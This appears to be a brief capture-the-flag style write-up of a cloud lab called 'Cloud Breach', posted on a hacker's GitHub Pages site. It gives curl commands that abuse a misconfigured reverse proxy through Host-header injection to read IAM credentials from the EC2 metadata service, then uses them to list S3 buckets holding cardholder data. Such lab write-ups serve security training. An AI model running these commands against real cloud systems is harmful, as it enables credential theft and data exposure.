root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

Cloud Breach

---

• We have a ec2 server-ip
• The reverse proxy is misconfigured which allows to inject the host header and make a call to internal hosts.Using curl to grab access tokens

#Finding username
curl x.x.x.x/latest/meta-data/iam/security-credentials/ -H "Host: 169.254.169.254"
#grabbing key
curl x.x.x.x/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-*/ -H "Host: 169.254.169.254"

• Running enumerate-iam shows that we can list buckets

• Listing s3 buckets and getting info-:

aws s3 ls  --profile cloud_breach
 aws s3 ls s3://cg-cardholder-data-bucket-cgid* --profile cloud_breach